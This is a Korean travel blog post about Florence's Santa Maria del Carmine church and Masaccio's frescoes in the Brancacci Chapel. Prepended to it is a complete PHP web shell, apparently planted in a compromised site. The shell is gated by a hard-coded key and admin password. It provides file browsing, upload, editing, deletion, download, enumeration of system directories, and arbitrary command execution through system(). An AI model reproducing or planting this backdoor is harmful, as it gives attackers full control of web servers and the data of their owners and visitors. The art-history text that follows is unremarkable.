if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[๐Ÿ“‚ Home] '; echo '[๐Ÿ–ฅ๏ธ Terminal] '; echo '[๐Ÿ’พ Drives] '; echo '[๐ŸŒณ Tree] '; echo '[โฌ† Upload] '; echo '[๐Ÿšช Logout]'; echo '
'; switch ($act) { case 'upload': echo '

โฌ† Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '
'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

โœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

โŒ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

โŒ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

๐Ÿ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '๐Ÿ“ '.$item."/\n";
                    else echo '๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

๐ŸŒณ Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'๐Ÿ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

๐Ÿ’พ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." โœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." โœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

๐Ÿ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'โœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

๐Ÿ–ฅ๏ธ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'โœ… Deleted: '.htmlspecialchars($f); else echo 'โŒ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'โœ… Directory removed: '.htmlspecialchars($f); else echo 'โŒ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'โœ… Created: '.htmlspecialchars($dest); else echo 'โŒ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'โœ… Created dir: '.htmlspecialchars($dest); else echo 'โŒ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

๐Ÿ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo 'โฌ† Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[โฌ† Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
๐Ÿ“ '.$item.'๐Ÿ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } [์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰] ํ”ผ๋ Œ์ฒด ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine) - ๋งˆ์‚ฌ์ดˆ์˜ ๊ฑธ์ž‘๊ณผ ๋งˆ์ฃผํ•˜๋‹ค. | GoodTrip

[์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰] ํ”ผ๋ Œ์ฒด ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine) – ๋งˆ์‚ฌ์ดˆ์˜ ๊ฑธ์ž‘๊ณผ ๋งˆ์ฃผํ•˜๋‹ค.

์ž‘์„ฑ์ž:

ํ”ผ๋ Œ์ฒด ์—ฌํ–‰์˜ ์ฃผ์š” ๋ชฉ์ ์ด ๋ฌด์—ˆ์ด๋ƒ์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์งˆ ์ˆ˜ ์žˆ๊ฒ ์ง€๋งŒ ๋ฏธ์ˆ ์— ๋Œ€ํ•œ ๊ด€์‹ฌ์ด ์žˆ๋‹ค๋ฉด ๋ฅด๋„ค์ƒ์Šค ๋ฏธ์ˆ  ์‹œ๋Œ€๋ฅผ ์—ด์—ˆ๋˜ ์ฒœ์žฌ ํ™”๊ฐ€ ๋งˆ์‚ฌ์ดˆ์˜ ํ”์ ์„ ์ฐพ์•„๊ฐ€ ๋ณด๋Š” ๊ฒƒ๋„ ์ข‹์„ ๊ฒƒ์ด๋‹ค.

๋งˆ์‚ฌ์ดˆ๊ฐ€ ๋ˆ„๊ตฌ๋ƒ๊ณ ? ๊ต๊ณผ์„œ์—์„œ ๋ฐฐ์šธ๋งŒํผ ์œ ๋ช…ํ•˜์ง€๋Š” ์•Š์ง€๋งŒ ๋ฅด๋„ค์ƒ์Šค ๋ฏธ์ˆ ์—์„œ ๋งˆ์‚ฌ์ดˆ๋ฅผ ๋นผ๋†“๊ณ  ์ด์•ผ๊ธฐํ•  ์ˆ˜ ์—†๋Š” ๋งค์šฐ ์ค‘์š”ํ•œ ํ™”๊ฐ€๋ผ๊ณ  ํ•œ๋‹ค.

๋งˆ์‚ฌ์ดˆ์— ๋Œ€ํ•ด์„œ๋Š” “[์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰] ํ”ผ๋ Œ์ฒด ๋ฅด๋„ค์ƒ์Šค ๋ฏธ์ˆ  ์‹œ์ดˆ๊ฐ€ ๋œ ์ฒœ์žฌ ํ™”๊ฐ€ ๋งˆ์‚ฌ์ดˆ ์ด์•ผ๊ธฐ”๋ฅผ ์ฐธ์กฐํ•˜๋ฉด์„œ ๋งˆ์‚ฌ์ดˆ์— ๋Œ€ํ•ด์„œ ์‚ดํŽด๋ณด๋„๋ก ํ•˜์ž.

1. ๋ฅด๋„ค์ƒ์Šค ๋ฏธ์ˆ  ์‹œ๋Œ€๋ฅผ ์—ด์—ˆ๋˜ ์ฒœ์žฌ ํ™”๊ฐ€, ๋งˆ์‚ฌ์ดˆ

๋งˆ์‚ฌ์ดˆ ์ดˆ์ƒํ™” Masaccio Self Portrait
๋งˆ์‚ฌ์ดˆ ์ดˆ์ƒํ™” Masaccio Self Portrait

๋งˆ์‚ฌ์ดˆ ๋ณธ๋ช…์€ ํ† ๋งˆ์†Œ ๋”” ์กฐ๋ฐ˜๋‹ˆ ๋”” ์‹œ๋ชฌ๋Š ๊ตฌ์ด๋””(Tommaso di Giovanni di Simone Guidi)์ด๊ณ  ์•„๋ ˆ์ดˆ ์ธ๊ทผ ๋งˆ์„์—์„œ 1401๋…„ ํƒœ์–ด๋‚ฌ๋‹ค.

๊ณต์ฆ์ธ์œผ๋กœ ์ผํ–ˆ๋˜ ๋งˆ์‚ฌ์ดˆ์˜ ์•„๋ฒ„์ง€๋ฅผ ์žƒ๊ณ  1417๋…„ ๋งˆ์‚ฌ์ดˆ๋Š” ํ”ผ๋ Œ์ดˆ๋กœ ์ด์ฃผํ•ด ์ž‘ํ’ˆ ํ™œ๋™์„ ์‹œ์ž‘ํ–ˆ์œผ๋ฉฐ 1422๋…„์— ์ •์‹์œผ๋กœ ์˜ˆ์ˆ ๊ฐ€๋“ค์˜ ๊ธธ๋“œ์— ๊ฐ€์ž…ํ–ˆ๋‹ค๊ณ  ํ•œ๋‹ค.

๋ฐ”์‚ฌ๋ฆฌ์˜ ๊ธฐ๋ก์— ์˜ํ•˜๋ฉด ๋งˆ์‚ฌ์ดˆ๋Š” 1423๋…„๋ฌด๋ ต ๋กœ๋งˆ์™€ ํ”ผ์‚ฌ๋ฅผ ๋Œ๋ฉฐ ๊ณ ๋Œ€ ๋ฏธ์ˆ ์˜ ์•„๋ฆ„๋‹ค์›€์„ ์—ฐ๊ตฌํ–ˆ๋‹ค๊ณ  ํ•œ๋‹ค.

๋‹ค์‹œ ํ”ผ๋ Œ์ฒด๋กœ ๋Œ์•„์˜จ ๋งˆ์‚ฌ์ดˆ๋Š” ๋‹น์‹œ ํ”„๋ ˆ์Šค์ฝ” ์ „๋ฌธ ํ™”๊ฐ€์˜€๋˜ ๋งˆ์†”๋ฆฌ๋…ธ์™€ ํ•จ๊ป˜ ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine)์—์„œ ์œ ๋ช…ํ•œ ํ”„๋ ˆ์Šค์ฝ”ํ™”๋ฅผ ์ œ์ž‘ํ•˜๋ฉด์„œ ๋ฅด๋„ค์ƒ์Šค ๋ฏธ์ˆ  ์‹œ๋Œ€๋ฅผ ์—ฐ๋‹ค.

๊ทธ์˜ ์œ ๋ช…ํ•œ ์ž‘ํ’ˆ์€ ์•„๋ž˜์—์„œ๋„ ์†Œ๊ฐœํ•˜๊ฒ ์ง€๋งŒ ” ๋‚™์›์—์„œ ์ถ”๋ฐฉ๋˜๋Š” ์•„๋‹ด๊ณผ ์ด๋ธŒ(The Expulsion from the Garden of Eden) “, “์„ธ๋ก€๋ฅผ ๋ฒ ํ”„๋Š” ์„ฑ ๋ฒ ๋“œ๋กœ(Baptism of the Neophytes)”, “์„ธ๊ธˆ์„ ๋ฐ›์นจ(Payment of the Tribute Money)” ๊ทธ๋ฆฌ๊ณ  “์„ฑ ์‚ผ์œ„์ผ์ฒด(Holy Trinity)”๋“ฑ์„ ๋“ค์„ ์ˆ˜ ์žˆ๋‹ค.

๊ทธ์˜ ์ž‘ํ’ˆ์€ ‘์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine)’๊ณผ ‘์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(์ดํƒˆ๋ฆฌ์•„์–ด Basilica di Santa Maria Novella, ์˜์–ด Church of Santa Maria Novella)’์—์„œ ๋งŒ๋‚˜ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์‹ ์€ ์ฒœ์žฌ๋ฅผ ์‹œ๊ธฐํ•œ ๊ฒƒ์ผ๊นŒ? ํ˜œ์„ฑ์ฒ˜๋Ÿผ ๋‚˜ํƒ€๋‚˜ ๋ฅด๋„ค์ƒ์Šค ๋ฏธ์ˆ ์˜ ์‹œ์ž‘์„ ์—ด์—ˆ๋˜ ๋งˆ์‚ฌ์ดˆ๋Š” ๋ช‡ ์•ˆ๋˜๋Š” ์ž‘ํ’ˆ์„ ๋‚จ๊ธฐ๊ณ  27์„ธ์˜ ์ Š์€ ๋‚˜์ด๋กœ ๋จธ๋‚˜๋จผ ๋กœ๋งˆ์—์„œ ์š”์ ˆํ•˜๊ณ  ๋ง์•˜๋‹ค.

2. ํ”ผ๋ Œ์ฒด ์™ธ๊ณฝ์— ์œ„์น˜ํ•œ ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine)

์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine)์€ ํ”ผ๋ Œ์ฒด์˜ ๋‹ค๋ฅธ ์œ ๋ช…ํ•œ ๊ด€๊ด‘์ง€์™€ ๋‹ค๋ฅด๊ฒŒ ์•„๋ฅด๋…ธ๊ฐ• ์•„๋ž˜ ์ชฝ์— ์œ„์น˜ํ•˜๊ณ  ์žˆ๋‹ค.

์•„๋ฅด๋…ธ๊ฐ• ์•„๋ž˜ ์ชฝ์—๋Š” ํ”ผํ„ฐ ๊ถ์ „๊ณผ ์‚ฐํ†  ์Šค์ธ ๋ฆฌํ†  ์„ฑ๋‹น์ด ์žˆ์ง€๋งŒ ์•„๋ฌด๋ž˜๋„ ํ”ผ๋ Œ์ฒด ์ค‘์‹ฌ๊ฐ€์—์„œ ๋ฒ—์–ด๋‚˜ ์žˆ๋‹ค.

์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine) ์ „๊ฒฝ(์„ธ๋กœ), ยฉ All Rights Reserved - Choi dongsoon
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine) ์ „๊ฒฝ(์„ธ๋กœ), ยฉ All Rights Reserved – Choi dongsoon

์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine)์˜ ์œ„์น˜ ๋“ฑ ์ฃผ์š” ์ •๋ณด๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

  • ์ฃผ์†Œ : Piazza del Carmine, 50124 Firenze FI, ์ดํƒˆ๋ฆฌ์•„
  • ๋‚ด๋น„๊ฒŒ์ด์…˜์šฉ DMS ์ฃผ์†Œ : 43ยฐ 46โ€ฒ 4.8โ€ณ N, 11ยฐ 14โ€ฒ 38.04โ€ณ E
  • ์ „ํ™”๋ฒˆํ˜ธ : +39 055 212331
  • ์ž…์žฅ๋ฃŒ : 4์œ ๋กœ (ํ˜„๊ธˆ๋งŒ ๋ฐ›์Œ)

3. ๋ฅด๋„ค์ƒ์Šค ๊ฑธ์ž‘์„ ๋งŒ๋‚  ์ˆ˜ ์žˆ๋Š” ๋ธŒ๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel)

์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine)์„ ๋ฐฉ๋ฌธํ–ˆ๋‹ค๋ฉด ๋ธŒ๋ž‘์นด์น˜ ์ฑ„ํ”Œ(์˜์–ด Brancacci Chapel, ์ดํƒˆ๋ฆฌ์•„์•„์–ด Cappella dei Brancacc)์—์„œ ๋ฅด๋„ค์ƒ์Šค์˜ ๊ฑธ์ž‘๋“ค์„ ๋งŒ๋‚  ์ˆ˜ ์žˆ๋‹ค.

๋ถ€๋ž‘์นด์น˜ ์ฑ„ํ”Œ์€ ๊ฒฌ์ง๋ฌผ๊ณผ ๋น„๋‹จ์œผ๋กœ ์—„์ฒญ๋‚œ ๋ถ€๋ฅผ ์ถ•์ ํ•œ ๋ธŒ๋ž‘์นด์น˜(Felice Brancacci)๊ฐ€ ํ”ผ๋ Œ์ฒด ๊ฐ€๋ฅด๋ฉœ ์ˆ˜๋„ํšŒ ์žฌ์†ํšŒ ํšŒ์žฅ(Compania di Disciplina)์ง์„ ๋งก์œผ๋ฉด์„œ ์‹œ์ž‘๋œ๋‹ค.

๊ทธ๋Š” ์ž์‹ ์˜ ๊ฑฐ๋Œ€ํ•œ ๋ถ€๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์ž์‹ ์˜ ์ง์œ„์— ๋งž๋Š” ์—…์ ์„ ๋‚จ๊ธฐ๊ณ ์ž ์•„๋ฆ„๋‹ค์šด ์˜ˆ๋ฐฐ๋‹น์„ ๊ฑด์ถ•ํ•ด ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น์— ๊ธฐ๋ถ€ํ•˜๊ฒŒ ๋˜๋Š”๋ฐ ์ด๊ฒƒ์ด ๋ฐ”๋กœ ๋ธŒ๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel)์ด๋‹ค.

์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค(Santa Maria del Carmine) ์„ฑ๋‹น ์กฐ๊ฐ๋„
์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค(Santa Maria del Carmine) ์„ฑ๋‹น ์กฐ๊ฐ๋„

๋ธŒ๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel)์„ ๊ฑด์„คํ•˜๋Š” ๊ณผ์ •์—์„œ ์˜ˆ๋ฐฐ๋‹น์„ ์žฅ์‹ํ•  ๊ทธ๋ฆผ์„ ๋‹น์‹œ ์œ ๋ช…ํ•œ ํ”„๋ ˆ์Šคํฌ ์ „๋ฌธ ํ™”๊ฐ€์ธ ๋งˆ์†”๋ฆฌ๋…ธ์—๊ฒŒ ์˜๋ขฐํ–ˆ๋‹ค๊ณ  ํ•œ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ๋งˆ์†”๋ฆฌ๋…ธ๋Š” ํ•œ์ชฝ ๋ฒฝ๋ฉด์„ ๋งˆ์‚ฌ์ดˆ์—๊ฒŒ ๊ทธ๋ฆฌ๊ฒŒ ํ–ˆ๋Š”๋ฐ ๋งˆ์‚ฌ์ดˆ๊ฐ€ 27์˜ ์ Š์€ ๋‚˜์ด์— ์š”์ ˆํ•จ์— ๋”ฐ๋ผ ๋ฏธ์™„์„ฑ์ธ ์ƒํƒœ๋กœ ๋‚จ์•„ ์žˆ๋‹ค๊ฐ€ 60๋…„ ํ›„ ํ•„๋ผํ”ผ๋…ธ ๋ฆฌํ”ผ๊ฐ€ ์™„์„ฑํ–ˆ๋‹ค๊ณ  ํ•œ๋‹ค.

์ด๋Ÿฐ ์—ฐ์œ ๋กœ ๋ธŒ๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel)์—์„œ๋Š” ๋งˆ์†”๋ฆฌ๋…ธ์™€ ๋งˆ์‚ฌ์ดˆ ๊ทธ๋ฆฌ๊ณ  ํ•„๋ฆฌํ”ผ๋…ธ ๋ฆฌํ”ผ๋ผ๋Š” ๋ฅด๋„ค์ƒ์Šค ๋‹น์‹œ์˜ ๊ฑฐ์žฅ 3์ธ์˜ ๊ทธ๋ฆผ์„ ๋™์‹œ์— ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

์ด ์„ฑ๋‹น์€ ํ™”์žฌ๊ฐ€ ๋ฐœ์ƒํ•ด ๋ฅด๋„ค์ƒ์Šค ๋‹น์‹œ์˜ ๊ทธ๋ฆผ๋“ค์€ ์ „๋ถ€ ํƒ€๋ฒ„๋ ธ์ง€๋งŒ ์˜ค์ง ์ด ๋ธŒ๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel)๋งŒํผ์€ ํ™”์žฌ๋ฅผ ์ž…์ง€ ์•Š๊ณ  ์˜ค๋Š˜๋‚ ๊นŒ์ง€ ๊ฑธ์ž‘๋“ค์ด ๋‚ญ ์žˆ์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค๊ณ  ํ•œ๋‹ค.

4. ๋ธŒ๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel)์˜ ๋งˆ์‚ฌ์ดˆ์˜ ๊ฑธ์ž‘๋“ค

์—ฌ๊ธฐ์—๋Š” ๋งŽ๋Š” ์ž‘ํ’ˆ๋“ค์ด ์žˆ์ง€๋งŒ ์ฃผ๋œ ๊ด€์‹ฌ์€ ๋งˆ์‚ฌ์ดˆ์—๊ฒŒ ์žˆ์—ˆ์œผ๋ฏ€๋กœ ๋งˆ์‚ฌ์ดˆ์˜ ๋Œ€ํ‘œ์ ์ธ ์ž‘ํ’ˆ ๋ช‡๊ฐœ๋ฅผ ์†Œ๊ฐœํ•ด ๋ณธ๋‹ค.

์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine) ๋‚ด ๋ธŒ๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel) ๋‚ด๋ถ€ ๋ชจ์Šต, CC BY-ND Simone Ramella
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine) ๋‚ด ๋ธŒ๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel) ๋‚ด๋ถ€ ๋ชจ์Šต, CC BY-ND Simone Ramella
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine) ๋‚ด ๋ธŒ๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel) ๋‚ด๋ถ€ ๋ชจ์Šต, CC BY Simone Ramella
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค์„ฑ๋‹น(The Church of Santa Maria del Carmine) ๋‚ด ๋ธŒ๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel) ๋‚ด๋ถ€ ๋ชจ์Šต, CC BY Simone Ramella

4.1. ๋‚™์›์—์„œ ์ถ”๋ฐฉ๋˜๋Š” ์•„๋‹ด๊ณผ ์ด๋ธŒ

๋ธŒ๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel)์˜ ๊ทธ๋ฆผ๋“ค ์ค‘์—์„œ ๊ฐ€์žฅ ์ฃผ๋ชฉํ•ด์•ผ ํ•œ๋‹ค๋Š” ๊ทธ๋ฆผ์ด ‘๋‚™์›์—์„œ ์ถ”๋ฐฉ๋˜๋Š” ์•„๋‹ด๊ณผ ์ด๋ธŒ’์ด๋‹ค.

์™œ๋ƒํ•˜๋ฉด ์ด ๊ทธ๋ฆผ์€ ๋‹น์‹œ๋กœ์„œ๋Š” ๊ฐ€ํžˆ ํ˜๋ช…์ ์ธ ์‚ฌ์ƒ์„ ํ‘œํ˜„ํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋ผ๊ณ  ํ•œ๋‹ค.

๊ธฐ๋…๊ต์—์„œ ์•„๋‹ด๊ณผ ์ด๋ธŒ๋Š” ์˜ˆ์ˆ˜์™€ ์„ฑ๋ชจ ๋งˆ๋ฆฌ์•„๋ฅผ ์ƒ์ง•ํ•œ๋‹ค๊ณ  ํ•œ๋‹ค. ์ค‘์„ธ ๊ฐ€ํ†จ๋ฆญ๊ตํšŒ์˜ ์‹œํ•™ ์ฒด๊ณ„์— ๋”ฐ๋ฅด๋ฉด ์˜ˆ์ˆ˜๋Š” ‘์ œ2์˜ ์•„๋‹ด’์ด์—ˆ๊ณ , ์ด๋ธŒ๋Š” ๊ตฌ์•ฝ์„ฑ๊ฒฝ์— ๋“ฑ์žฅํ•˜๋Š” ์›ํ˜•์  ๋ชจ๋ธ์ด์—ˆ๋‹ค.

๋”ฐ๋ผ์„œ “์•„๋‹ด๊ณผ ์ด๋ธŒ๋Š” ๊ฑฐ๋ฃฉํ•œ ์กด์žฌ์ด๊ณ  ์–ด๋– ํ•œ ์ƒํ™ฉ์—์„œ๋„ ์ด๋“ค์€ ์žฅ์—„ํ•˜๊ณ  ์šฐ์•„ํ•˜๊ฒŒ ๊ทธ๋ ค์•ผ ํ•œ๋‹ค.”๋Š” ๊ฒƒ์ด ๋‹น์‹œ๋ฅผ ์ง€๋ฐฐํ•˜๋˜ ์‚ฌ์ƒ์ด์—ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ๋งˆ์‚ฌ์ดˆ๊ฐ€ ๊ทธ๋ฆฐ “๋‚™์›์—์„œ ์ถ”๋ฐฉ๋˜๋Š” ์•„๋‹ด ์ด๋ธŒ”์— ๋“ฑ์žฅํ•˜๋Š” ์•„๋‹ด๊ณผ ์ด๋ธŒ๋Š” ์ด๋Ÿฌํ•œ ๊ธฐ์กด ์‚ฌ์ƒ๊ณผ ์™„์ „ํžˆ ๋‹ฌ๋ž๋‹ค.

๊ทธ๋“ค์€ ๊ฑฐ๋ฃฉํ•˜๊ฒŒ๋„ ์šฐ์•„ํ•˜๊ฒŒ๋„ ๋‚˜ํƒ€๋‚˜์ง€ ์•Š๋Š”๋‹ค. ์•„๋‹ด๊ณผ ์ด๋ธŒ๋Š” ๋ธŒ๋„๋Ÿฌ์šด ๋‚˜์‹ ์„ ๊ฐ€๋ฆฌ๋ฉฐ ์ ˆ๋ง์˜ ์žฅํƒ„์‹์€ ๋‚ด ๋ฑ‰๊ณ  ์žˆ์œผ๋ฉฐ ์•„๋‹ด์€ ๋ถ€๋„๋Ÿฌ์›€๊ณผ ์ˆ˜์น˜์‹ฌ์— ์–ผ๊ตด์„ ๊ฐ€๋ฆฌ๊ณ  ์žˆ๋‹ค.

